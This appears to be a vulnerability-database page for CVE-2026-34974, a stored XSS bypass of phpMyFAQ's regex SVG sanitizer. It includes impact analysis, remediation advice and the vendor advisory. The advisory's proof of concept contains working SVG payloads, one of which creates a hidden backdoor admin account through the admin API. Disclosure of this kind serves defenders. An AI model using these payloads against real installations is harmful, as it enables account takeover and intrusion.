PHP
CVE-2026-34974
MEDIUM
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | This vulnerability presents a severe real-world risk despite the moderate CVSS score of 5.4. The CVSS vector (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) correctly identifies network attack vector, low complexity, and low privileges required, but understates impact due to scope change limitation and moderate confidentiality/integrity impact ratings. However, the proof-of-concept demonstrates complete privilege escalation to full admin via JavaScript API calls, which exceeds the CVSS impact assessment. Exploitation is straightforward and requires only user interaction (admin clicking the malicious SVG)-a low barrier in typical administrator workflows. The presence of working proof-of-concept code in the advisory and confirmed exploitation in current browsers (Chrome 146, Edge) indicates this is practically exploitable. The attack chain is automatable: once an admin account is created via the POC, further lateral movement and data exfiltration can be scripted. This should be treated as a critical priority for any phpMyFAQ installation with multiple user tiers, as the vector directly enables privilege escalation from low-privileged editor accounts to full administrative control. |
| Exploit ScenarioDerived | An attacker with an editor-level phpMyFAQ account logs into the admin panel and navigates to the FAQ content section. Using the image upload feature, they upload an SVG file containing an HTML entity-encoded javascript: payload in an href attribute, such as javascript:fetch('/admin/api/user/add',...). The SVG passes the regex-based sanitizer check and is stored in the web-accessible directory. The attacker shares the SVG URL with an administrator or embeds it in an FAQ entry. When an admin clicks the link in the rendered SVG, the browser decodes the HTML entities and executes the JavaScript in the admin's session context, creating a new backdoor admin account via a direct API call to /admin/api/user/add. The attacker then logs in as the backdoor user with full administrative privileges, completely compromising the phpMyFAQ installation. Proof-of-concept code provided in the advisory demonstrates this attack flow as working in current browsers. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 02, 2026
Stored XSS via HTML entity-encoded javascript: URLs in SVG files in phpMyFAQ enables privilege escalation from editor to admin. The regex-based sanitizer in SvgSanitizer.php fails to detect entity-encoded payloads like javascript: (javascript:), allowing any user with edit_faq permission to upload malicious SVGs that execute arbitrary JavaScript in admin browsers. Publicly available proof-of-concept demonstrates both basic XSS and complete admin account creation, with confirmed working exploitation in Chrome 146 and Edge.
RemediationAI
The primary remediation is to upgrade phpMyFAQ to a patched version once released by the vendor. Immediate mitigations include replacing the regex-based SVG sanitization in SvgSanitizer.php with a DOM-based allowlist approach that properly decodes and validates all attribute values, or serving uploaded SVG files with Content-Disposition: attachment headers to force download instead of inline rendering, which prevents JavaScript execution. Additionally, restrict SVG upload permissions to verified administrators only rather than all edit_faq users, and implement server-side Content Security Policy headers that prevent inline script execution. Monitor the official phpMyFAQ security advisory at https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-5crx-pfhq-4hgg for patched version availability and apply immediately upon release. Until a patch is available, disable SVG upload functionality in the image upload endpoint if possible.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in composer
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in phpMyFAQ's SvgSanitizer.php, introduced 2026-01-15, which uses regex-based pattern matching to detect dangerous content in uploaded SVG files. The sanitizer attempts to block javascript: URLs using the regex pattern /href\s*=\s*["']javascript:[^"']*["']/i, but this literal-string matching fails when attackers use HTML entity encoding. When a browser parses an SVG served as image/svg+xml (without Content-Disposition: attachment), it automatically decodes HTML entities before executing JavaScript in href attributes. The root cause is inadequate input validation (CWE-79: Improper Neutralization of Input During Web Page Generation) compounded by incomplete dangerous element blocklisting-the DANGEROUS_ELEMENTS array omits animate, set, and use elements that can trigger code execution in SVG context. The vulnerable code path allows any authenticated user with edit_faq permission to upload SVG files to /admin/api/content/images, and these files are then accessible and rendered inline by other users including administrators.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Primary rating from Vendor (https://github.com/thorsten/phpMyFAQ) · only source for this CVE.
CVSS VectorVendor: https://github.com/thorsten/phpMyFAQ
Lifecycle Timeline
2DescriptionCVE.org
Summary
The regex-based SVG sanitizer in phpMyFAQ (SvgSanitizer.php) can be bypassed using HTML entity encoding in javascript: URLs within SVG <a href> attributes. Any user with edit_faq permission can upload a malicious SVG that executes arbitrary JavaScript when viewed, enabling privilege escalation from editor to full admin takeover.
Details
The file phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php (introduced 2026-01-15) uses regex patterns to detect dangerous content in uploaded SVG files. The regex for javascript: URL detection is:
/href\s*=\s*["\']javascript:[^"\']*["\']/i
This pattern matches the literal string javascript: but fails when the URL is HTML entity encoded. For example, javascript: decodes to javascript: in the browser, but does NOT match the regex. The isSafe() method returns true, so the SVG is accepted without sanitization.
Additionally, the DANGEROUS_ELEMENTS blocklist misses <animate>, <set>, and <use> elements which can also be used to execute JavaScript in SVG context.
Uploaded SVG files are served with Content-Type: image/svg+xml and no Content-Disposition: attachment header, so browsers render them inline and execute any JavaScript they contain.
The image upload endpoint (/admin/api/content/images) only requires the edit_faq permission - not full admin - so any editor-level user can upload malicious SVGs.
PoC
Basic XSS (confirmed working in Chrome 146 and Edge)
- Login to phpMyFAQ admin panel with any account that has
edit_faqpermission - Navigate to Admin → Content → Add New FAQ
- In the TinyMCE editor, click the image upload button
- Upload this SVG file:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 200">
<a href="javascript:alert(document.domain)">
<text x="20" y="50" font-size="16" fill="red">Click for XSS</text>
</a>
</svg>- The SVG is uploaded to
/content/user/images/<timestamp>_<filename>.svg - Open the SVG URL directly in a browser
- Click the red text →
alert(document.domain)executes
Privilege Escalation (Editor → Admin Takeover)
- As editor, upload this SVG:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 300">
<rect width="500" height="300" fill="#f8f9fa"/>
<text x="250" y="100" text-anchor="middle" font-size="22" fill="#333">📋 System Notice</text>
<a href="javascript:fetch('/admin/api/user/add',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({userName:'backdoor',userPassword:'H4ck3d!',realName:'System',email:'evil@attacker.com','is-visible':false}),credentials:'include'}).then(r=>r.json()).then(d=>document.title='pwned')">
<rect x="150" y="170" width="200" height="50" rx="8" fill="#0d6efd"/>
<text x="250" y="200" text-anchor="middle" font-size="16" fill="white">View Update →</text>
</a>
</svg>- Send the SVG URL to an admin
- Admin opens URL, clicks "View Update →"
- JavaScript creates backdoor admin user
backdoor:H4ck3d! - Attacker logs in as
backdoorwith full admin privileges
Impact
This is a Stored Cross-Site Scripting (XSS) vulnerability that enables privilege escalation. Any user with edit_faq permission (editor role) can upload a weaponized SVG file. When an admin views the SVG, arbitrary JavaScript executes in their browser on the phpMyFAQ origin, allowing the attacker to:
- Create backdoor admin accounts via the admin API
- Exfiltrate phpMyFAQ configuration (database credentials, API tokens)
- Modify or delete FAQ content
- Achieve full admin account takeover
The vulnerability affects all phpMyFAQ installations using the SvgSanitizer class (introduced 2026-01-15). Recommended fix: replace regex-based sanitization with a DOM-based allowlist approach, or serve SVG files with Content-Disposition: attachment to prevent inline rendering.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
Affected Products (CPE)CVE.org
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
GHSA-5crx-pfhq-4hgg
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB